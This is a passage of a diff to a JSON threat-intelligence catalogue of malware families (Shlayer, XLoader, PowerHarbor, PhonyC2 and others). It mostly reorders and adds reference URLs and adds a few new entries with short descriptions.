"refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.shlayer", - "https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities", - "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", - "https://cedowens.medium.com/macos-gatekeeper-bypass-2021-edition-5256a2955508", - "https://www.jamf.com/blog/shlayer-malware-abusing-gatekeeper-bypass-on-macos/", - "https://www.cisecurity.org/insights/blog/top-10-malware-march-2022", - "https://objective-see.com/blog/blog_0x64.html", - "https://threatpost.com/shlayer-mac-youtube-wikipedia/152146/", "https://securelist.com/shlayer-for-macos/95724/", + "https://www.crowdstrike.com/blog/shlayer-malvertising-campaigns-still-using-flash-update-disguise/", + "https://threatpost.com/shlayer-mac-youtube-wikipedia/152146/", + "https://www.cisecurity.org/insights/blog/top-10-malware-march-2022", + "https://www.jamf.com/blog/shlayer-malware-abusing-gatekeeper-bypass-on-macos/", + "https://objective-see.com/blog/blog_0x64.html", + "https://cedowens.medium.com/macos-gatekeeper-bypass-2021-edition-5256a2955508", + "https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities", "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://www.crowdstrike.com/blog/shlayer-malvertising-campaigns-still-using-flash-update-disguise/" + "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf" ], "synonyms": [], "type": [] @@ -9687,7 +10113,7 @@ "value": "Shlayer" }, { - "description": "According to Red Canary, Silver Sparrow is an activity cluster that includes a binary compiled to run on Apple’s new M1 chips but has been distributed without payload so far.", + "description": "According to Red Canary, Silver Sparrow is an activity cluster that includes a binary compiled to run on Apple\u2019s new M1 chips but has been distributed without payload so far.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.silver_sparrow", @@ -9722,8 +10148,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.systemd", "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_301_shui-leon_en.pdf", - "https://vms.drweb.com/virus/?_is=1&i=15299312&lng=en", - "https://securelist.com/windealer-dealing-on-the-side/105946/" + "https://securelist.com/windealer-dealing-on-the-side/105946/", + "https://vms.drweb.com/virus/?_is=1&i=15299312&lng=en" ], "synonyms": [ "Demsty", @@ -9753,7 +10179,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.unidentified_001", "https://objective-see.com/blog/blog_0x51.html", - "https://securelist.com/operation-applejeus-sequel/95596/" + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048c", + "https://securelist.com/operation-applejeus-sequel/95596/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-north-korea-indictment" ], "synonyms": [], "type": [] @@ -9766,10 +10194,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.update_agent", + "https://twitter.com/sysopfb/status/1532442456343691273", "https://www.microsoft.com/security/blog/2022/02/02/the-evolution-of-a-mac-trojan-updateagents-progression/", - "https://www.jamf.com/blog/updateagent-adapts-again/", "https://www.esentire.com/blog/updateagent-macos-malware", - "https://twitter.com/sysopfb/status/1532442456343691273" + "https://www.jamf.com/blog/updateagent-adapts-again/" ], "synonyms": [], "type": [] @@ -9782,8 +10210,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.uroburos", - "https://blog.fox-it.com/2017/05/03/snake-coming-soon-in-mac-os-x-flavour/", - "https://blog.malwarebytes.com/threat-analysis/2017/05/snake-malware-ported-windows-mac/" + "https://blog.malwarebytes.com/threat-analysis/2017/05/snake-malware-ported-windows-mac/", + "https://blog.fox-it.com/2017/05/03/snake-coming-soon-in-mac-os-x-flavour/" ], "synonyms": [], "type": [] @@ -9797,8 +10225,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.vigram", "https://twitter.com/ConfiantIntel/status/1351559054565535745", - "https://twitter.com/MsftSecIntel/status/1451279679059488773", - "https://www.sentinelone.com/labs/the-art-and-science-of-macos-malware-hunting-with-radare2-leveraging-xrefs-yara-and-zignatures/" + "https://www.sentinelone.com/labs/the-art-and-science-of-macos-malware-hunting-with-radare2-leveraging-xrefs-yara-and-zignatures/", + "https://twitter.com/MsftSecIntel/status/1451279679059488773" ], "synonyms": [ "WizardUpdate" @@ -9813,8 +10241,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.watchcat", - "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/", - "https://objective-see.com/blog/blog_0x5F.html" + "https://objective-see.com/blog/blog_0x5F.html", + "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/" ], "synonyms": [], "type": [] @@ -9829,10 +10257,10 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.windtail", "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf", "https://objective-see.com/blog/blog_0x3B.html", - "https://objective-see.com/blog/blog_0x3D.html", - "https://gsec.hitb.org/materials/sg2018/D1%20COMMSEC%20-%20In%20the%20Trails%20of%20WINDSHIFT%20APT%20-%20Taha%20Karim.pdf", - "https://www.forbes.com/sites/thomasbrewster/2018/08/30/apple-mac-loophole-breached-in-middle-east-hacks/", "https://posts.specterops.io/introducing-venator-a-macos-tool-for-proactive-detection-34055a017e56", + "https://gsec.hitb.org/materials/sg2018/D1%20COMMSEC%20-%20In%20the%20Trails%20of%20WINDSHIFT%20APT%20-%20Taha%20Karim.pdf", + "https://objective-see.com/blog/blog_0x3D.html", + "https://www.forbes.com/sites/thomasbrewster/2018/08/30/apple-mac-loophole-breached-in-middle-east-hacks/", "https://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/" ], "synonyms": [], @@ -9859,8 +10287,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.wirelurker", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf", - "https://objective-see.com/blog/blog_0x16.html" + "https://objective-see.com/blog/blog_0x16.html", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf" ], "synonyms": [], "type": [] @@ -9873,9 +10301,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.wirenet", - "https://news.drweb.com/show/?i=2679&lng=en&c=14", + "https://objective-see.com/blog/blog_0x43.html", "http://contagiodump.blogspot.com/2012/12/aug-2012-backdoorwirenet-osx-and-linux.html", - "https://objective-see.com/blog/blog_0x43.html" + "https://news.drweb.com/show/?i=2679&lng=en&c=14" ], "synonyms": [], "type": [] @@ -9889,8 +10317,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.xagent", "http://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/", - "https://download.bitdefender.com/resources/files/News/CaseStudies/study/143/Bitdefender-Whitepaper-APT-Mac-A4-en-EN-web.pdf", "https://twitter.com/PhysicalDrive0/status/845009226388918273", + "https://download.bitdefender.com/resources/files/News/CaseStudies/study/143/Bitdefender-Whitepaper-APT-Mac-A4-en-EN-web.pdf", "https://www.secureworks.com/research/threat-profiles/iron-twilight" ], "synonyms": [], @@ -9904,13 +10332,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset", - "https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities", - "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf", "https://www.trendmicro.com/en_us/research/21/d/xcsset-quickly-adapts-to-macos-11-and-m1-based-macs.html", + "https://objective-see.com/blog/blog_0x5F.html", "https://www.trendmicro.com/en_us/research/21/g/updated-xcsset-malware-targets-telegram--other-apps.html", "https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/", + "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf", + "https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities", "https://securelist.com/malware-for-the-new-apple-silicon-platform/101137/", - "https://objective-see.com/blog/blog_0x5F.html", "https://blog.trendmicro.com/trendlabs-security-intelligence/xcsset-mac-malware-infects-xcode-projects-performs-uxss-attack-on-safari-other-browsers-leverages-zero-day-exploits/" ], "synonyms": [], @@ -9924,17 +10352,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.xloader", + "https://twitter.com/krabsonsecurity/status/1319463908952969216", + "https://www.sentinelone.com/blog/detecting-xloader-a-macos-malware-as-a-service-info-stealer-and-keylogger/", + "https://www.sentinelone.com/blog/xloaders-latest-trick-new-macos-variant-disguised-as-signed-officenote-app/", + "https://blogs.blackberry.com/en/2021/09/threat-thursday-xloader-infostealer", "https://research.checkpoint.com/2021/time-proven-tricks-in-a-new-environment-the-macos-evolution-of-formbook/", - "https://www.zscaler.com/blogs/security-research/analysis-xloaders-c2-network-encryption", + "https://research.checkpoint.com/2021/top-prevalent-malware-with-a-thousand-campaigns-migrates-to-macos/", + "https://www.lac.co.jp/lacwatch/report/20220307_002893.html", "https://research.checkpoint.com/2022/xloader-botnet-find-me-if-you-can/", "https://blog.malwarebytes.com/mac/2021/07/osx-xloader-hides-little-except-its-main-purpose-what-we-learned-in-the-installation-process/", - "https://research.checkpoint.com/2021/top-prevalent-malware-with-a-thousand-campaigns-migrates-to-macos/", - "https://blogs.blackberry.com/en/2021/09/threat-thursday-xloader-infostealer", "https://www.vmray.com/cyber-security-blog/malware-analysis-spotlight-xbinder-xloader/", "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", - "https://www.sentinelone.com/blog/detecting-xloader-a-macos-malware-as-a-service-info-stealer-and-keylogger/", - "https://www.lac.co.jp/lacwatch/report/20220307_002893.html", - "https://twitter.com/krabsonsecurity/status/1319463908952969216", + "https://www.zscaler.com/blogs/security-research/analysis-xloaders-c2-network-encryption", "https://malwarebookreports.com/cross-platform-java-dropper-snake-and-xloader-mac-version/" ], "synonyms": [ @@ -10008,9 +10437,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/php.antak", - "http://www.labofapenetrationtester.com/2014/06/introducing-antak.html", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", - "https://github.com/samratashok/nishang/blob/master/Antak-WebShell/antak.aspx" + "https://github.com/samratashok/nishang/blob/master/Antak-WebShell/antak.aspx", + "http://www.labofapenetrationtester.com/2014/06/introducing-antak.html" ], "synonyms": [], "type": [] @@ -10023,9 +10452,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/php.aspxspy", - "https://attack.mitre.org/groups/G0096", "https://www.recordedfuture.com/full-spectrum-detections-five-popular-web-shells", - "https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/" + "https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/", + "https://attack.mitre.org/groups/G0096" ], "synonyms": [], "type": [] @@ -10038,9 +10467,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/php.behinder", + "https://cyberandramen.net/2022/02/18/a-tale-of-two-shells/", "https://blog.gigamon.com/2022/09/28/investigating-web-shells/", - "https://github.com/hktalent/MyDocs/blob/main/BehinderShell.md", - "https://cyberandramen.net/2022/02/18/a-tale-of-two-shells/" + "https://github.com/hktalent/MyDocs/blob/main/BehinderShell.md" ], "synonyms": [], "type": [] @@ -10068,10 +10497,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/php.dewmode", - "https://www.fireeye.com/blog/threat-research/2021/02/accellion-fta-exploited-for-data-theft-and-extortion.html", "https://go.recordedfuture.com/hubfs/reports/mtp-2021-0312.pdf", - "https://www.accellion.com/sites/default/files/trust-center/accellion-fta-attack-mandiant-report-full.pdf", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-055a" + "https://www.fireeye.com/blog/threat-research/2021/02/accellion-fta-exploited-for-data-theft-and-extortion.html", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-055a", + "https://www.accellion.com/sites/default/files/trust-center/accellion-fta-attack-mandiant-report-full.pdf" ], "synonyms": [], "type": [] @@ -10094,6 +10523,22 @@ "uuid": "dfd8deac-ce86-4a22-b462-041c19d62506", "value": "Ensikology" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/php.p0wnyshell", + "https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/" + ], + "synonyms": [ + "Ponyshell", + "Pownyshell" + ], + "type": [] + }, + "uuid": "a6d13ffe-1b1a-46fe-afd9-989e8dec3773", + "value": "p0wnyshell" + }, { "description": "In combination with Parrot TDS the usage of a classical web shell was observed by DECODED Avast.io.", "meta": { @@ -10112,11 +10557,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/php.pas", - "https://www.us-cert.gov/security-publications/GRIZZLY-STEPPE-Russian-Malicious-Cyber-Activity", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", "https://www.domaintools.com/resources/blog/centreon-to-exim-and-back-on-the-trail-of-sandworm", - "https://blog.erratasec.com/2016/12/some-notes-on-iocs.html", - "https://securelist.com/apt-trends-report-q1-2021/101967/" + "https://securelist.com/apt-trends-report-q1-2021/101967/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "https://www.us-cert.gov/security-publications/GRIZZLY-STEPPE-Russian-Malicious-Cyber-Activity", + "https://blog.erratasec.com/2016/12/some-notes-on-iocs.html" ], "synonyms": [], "type": [] @@ -10198,19 +10643,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.bondupdater", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://www.zdnet.com/article/source-code-of-iranian-cyber-espionage-tools-leaked-on-telegram/", - "https://ironnet.com/blog/chirp-of-the-poisonfrog/", - "https://www.netscout.com/blog/asert/tunneling-under-sands", - "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", - "https://www.boozallen.com/s/insight/blog/dark-labs-discovers-apt34-malware-variants.html?cid=spo-csatb-2", "https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/", - "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", "https://marcoramilli.com/2019/05/02/apt34-glimpse-project/", - "https://blog.0day.rocks/hacking-back-and-influence-operations-85cd52c1e933", + "https://ironnet.com/blog/chirp-of-the-poisonfrog/", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/", + "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", + "https://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/", + "https://www.zdnet.com/article/source-code-of-iranian-cyber-espionage-tools-leaked-on-telegram/", + "https://www.netscout.com/blog/asert/tunneling-under-sands", "https://nsfocusglobal.com/apt34-event-analysis-report/", - "https://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/" + "https://blog.0day.rocks/hacking-back-and-influence-operations-85cd52c1e933", + "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", + "https://www.boozallen.com/s/insight/blog/dark-labs-discovers-apt34-malware-variants.html?cid=spo-csatb-2" ], "synonyms": [ "Glimpse", @@ -10240,11 +10685,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.flowerpower", - "https://vblocalhost.com/uploads/VB2020-46.pdf", - "https://vb2020.vblocalhost.com/uploads/VB2020-46.pdf", - "https://www.youtube.com/watch?v=rfzmHjZX70s", "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.youtube.com/watch?v=rfzmHjZX70s", + "https://vb2020.vblocalhost.com/uploads/VB2020-46.pdf", + "https://vblocalhost.com/uploads/VB2020-46.pdf" ], "synonyms": [ "BoBoStealer" @@ -10272,13 +10717,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.ftcode", - "https://www.zscaler.com/blogs/research/ftcode-ransomware--new-version-includes-stealing-capabilities", - "https://nakedsecurity.sophos.com/2013/03/05/russian-ransomware-windows-powershell/", + "https://www.certego.net/en/news/malware-tales-ftcode/", "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md", - "https://www.kpn.com/security-blogs/FTCODE-taking-over-a-portion-of-the-botnet.htm", "https://www.certego.net/en/news/ftdecryptor-a-simple-password-based-ftcode-decryptor/", "https://dissectingmalwa.re/nicht-so-goot-breaking-down-gootkit-and-jasper-ftcode.html", - "https://www.certego.net/en/news/malware-tales-ftcode/" + "https://www.zscaler.com/blogs/research/ftcode-ransomware--new-version-includes-stealing-capabilities", + "https://www.kpn.com/security-blogs/FTCODE-taking-over-a-portion-of-the-botnet.htm", + "https://nakedsecurity.sophos.com/2013/03/05/russian-ransomware-windows-powershell/" ], "synonyms": [], "type": [] @@ -10307,9 +10752,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.jasperloader", "https://blog.talosintelligence.com/2019/05/sorpresa-jasperloader.html", - "https://blog.threatstop.com/upgraded-jasperloader-infecting-machines", + "https://blog.talosintelligence.com/2019/04/jasperloader-targets-italy.html", "https://dissectingmalwa.re/nicht-so-goot-breaking-down-gootkit-and-jasper-ftcode.html", - "https://blog.talosintelligence.com/2019/04/jasperloader-targets-italy.html" + "https://blog.threatstop.com/upgraded-jasperloader-infecting-machines" ], "synonyms": [], "type": [] @@ -10335,8 +10780,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.lightbot", - "https://twitter.com/VK_Intel/status/1329511151202349057", - "https://www.bleepingcomputer.com/news/security/lightbot-trickbot-s-new-reconnaissance-malware-for-high-value-targets/" + "https://www.bleepingcomputer.com/news/security/lightbot-trickbot-s-new-reconnaissance-malware-for-high-value-targets/", + "https://twitter.com/VK_Intel/status/1329511151202349057" ], "synonyms": [], "type": [] @@ -10349,11 +10794,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.octopus", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", - "https://github.com/mhaskar/Octopus", - "https://isc.sans.edu/diary/26918", + "https://resources.malwarebytes.com/files/2021/02/LazyScripter.pdf", "https://isc.sans.edu/diary/rss/28628", - "https://resources.malwarebytes.com/files/2021/02/LazyScripter.pdf" + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", + "https://isc.sans.edu/diary/26918", + "https://github.com/mhaskar/Octopus" ], "synonyms": [], "type": [] @@ -10366,8 +10811,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.oilrig", - "https://twitter.com/MJDutch/status/1074820959784321026?s=19", "https://threatpost.com/oilrig-apt-unique-backdoor/157646/", + "https://twitter.com/MJDutch/status/1074820959784321026?s=19", "https://www.vkremez.com/2018/03/investigating-iranian-threat-group.html" ], "synonyms": [], @@ -10376,6 +10821,19 @@ "uuid": "4a3b9669-8f91-47df-a8bf-a9876ab8edf3", "value": "OilRig" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.phonyc2", + "https://www.deepinstinct.com/blog/phonyc2-revealing-a-new-malicious-command-control-framework-by-muddywater" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c630e510-a0ad-405a-9aeb-9d8057b6a868", + "value": "PhonyC2" + }, { "description": "", "meta": { @@ -10404,6 +10862,19 @@ "uuid": "7b334343-0045-4d65-b28a-ebf912c7aafc", "value": "PowerBrace" }, + { + "description": "PowerHarbor is a modular PowerShell-based malware that consists of various modules. The primary module maintains constant communication with the C2 server, executing and deleting additional modules received from it. Currently, the communication with the C2 server is encrypted using RSA encryption and hardcoded key data. Moreover, the main module incorporates virtual machine (VM) detection capabilities. The StealData module employs the Invoke-Stealer function as its core, enabling the theft of system information, browser-stored credentials, cryptocurrency wallet details, and credentials for various applications like Telegram, FileZilla, and WinSCP.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerharbor", + "https://insight-jp.nttsecurity.com/post/102ignh/steelcloverpowerharbor" + ], + "synonyms": [], + "type": [] + }, + "uuid": "73b40a4c-9163-4a07-bf1b-e4a4344ac63a", + "value": "PowerHarbor" + }, { "description": "", "meta": { @@ -10423,8 +10894,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerpipe", - "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf" + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" ], "synonyms": [], "type": [] @@ -10476,14 +10947,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powershower", - "https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability", - "https://attack.mitre.org/groups/G0100", + "https://attack.mitre.org/groups/G0100/", "https://unit42.paloaltonetworks.com/atoms/clean-ursa/", "https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/", - "https://attack.mitre.org/groups/G0100/", + "https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability", + "https://securelist.com/recent-cloud-atlas-activity/92016/", + "https://attack.mitre.org/groups/G0100", "https://unit42.paloaltonetworks.com/atoms/clean-ursa", - "https://securelist.com/recent-cloud-atlas-activity/92016", - "https://securelist.com/recent-cloud-atlas-activity/92016/" + "https://securelist.com/recent-cloud-atlas-activity/92016" ], "synonyms": [], "type": [] @@ -10496,9 +10967,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powersource", - "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://cocomelonc.github.io/malware/2023/07/26/malware-tricks-35.html", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf" + "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html" ], "synonyms": [], "type": [] @@ -10524,25 +10996,35 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerstats", - "http://www.secureworks.com/research/threat-profiles/cobalt-ulster", - "https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html", "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/", "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html", - 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"description": "PowerZure is a PowerShell project created to assess and exploit resources within Microsoft’s cloud platform, Azure. PowerZure was created out of the need for a framework that can both perform reconnaissance and exploitation of Azure, AzureAD, and the associated resources.", + "description": "PowerZure is a PowerShell project created to assess and exploit resources within Microsoft\u2019s cloud platform, Azure. PowerZure was created out of the need for a framework that can both perform reconnaissance and exploitation of Azure, AzureAD, and the associated resources.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerzure", @@ -10615,6 +11097,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.power_magic", + "https://securelist.com/cloudwizard-apt/109722/", + "https://www.malwarebytes.com/blog/threat-intelligence/2023/05/redstinger", "https://securelist.com/bad-magic-apt/109087/?s=31" ], "synonyms": [], @@ -10628,18 +11112,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powgoop", - "https://www.clearskysec.com/wp-content/uploads/2020/10/Operation-Quicksand.pdf", - "https://www.cyberscoop.com/muddywater-iran-symantec-middle-east/", + "https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html", "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/seedworm-apt-iran-middle-east", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.clearskysec.com/wp-content/uploads/2020/10/Operation-Quicksand.pdf", "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf", "https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/", - 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"https://www.cyborgsecurity.com/cyborg_labs/python-malware-on-the-rise/", - "https://blog.talosintelligence.com/2020/10/poetrat-update.html", - "https://blog.talosintelligence.com/yorotrooper-espionage-campaign-cis-turkey-europe/", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", + "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", "https://securelist.com/apt-trends-report-q3-2020/99204/", - "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf" + "https://blog.talosintelligence.com/yorotrooper-espionage-campaign-cis-turkey-europe/", + "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", + "https://blog.talosintelligence.com/2020/10/poetrat-update.html", + "https://www.cyborgsecurity.com/cyborg_labs/python-malware-on-the-rise/", + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html" ], "synonyms": [], "type": [] @@ -11181,11 +11679,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/py.pupy", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", - "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", - "https://go.recordedfuture.com/hubfs/reports/cta-2020-0123.pdf", "https://github.com/n1nj4sec/pupy", - "https://www.secureworks.com/research/threat-profiles/cobalt-trinity" + "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", + "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", + "https://go.recordedfuture.com/hubfs/reports/cta-2020-0123.pdf" ], "synonyms": [], "type": [] @@ -11197,6 +11695,7 @@ "description": "", "meta": { "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/py.pyaesloader", "https://malpedia.caad.fkie.fraunhofer.de/details/py.pyaesloader" ], "synonyms": [], @@ -11280,8 +11779,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/py.saphyra", - "https://www.youtube.com/watch?v=Bk-utzAlYFI", - "https://securityintelligence.com/dissecting-hacktivists-ddos-tool-saphyra-revealed/" + "https://securityintelligence.com/dissecting-hacktivists-ddos-tool-saphyra-revealed/", + "https://www.youtube.com/watch?v=Bk-utzAlYFI" ], "synonyms": [], "type": [] @@ -11294,8 +11793,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/py.serpent", - "https://www.bleepingcomputer.com/news/security/serpent-malware-campaign-abuses-chocolatey-windows-package-manager/", "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain", + "https://www.bleepingcomputer.com/news/security/serpent-malware-campaign-abuses-chocolatey-windows-package-manager/", "https://blogs.vmware.com/security/2022/04/serpent-the-backdoor-that-hides-in-plain-sight.html" ], "synonyms": [], @@ -11335,8 +11834,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/py.stitch", - "https://www.volexity.com/blog/2020/03/31/storm-cloud-unleashed-tibetan-community-focus-of-highly-targeted-fake-flash-campaign/", - "https://github.com/nathanlopez/Stitch" + "https://github.com/nathanlopez/Stitch", + "https://www.volexity.com/blog/2020/03/31/storm-cloud-unleashed-tibetan-community-focus-of-highly-targeted-fake-flash-campaign/" ], "synonyms": [], "type": [] @@ -11348,6 +11847,7 @@ "description": "", "meta": { "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_002", 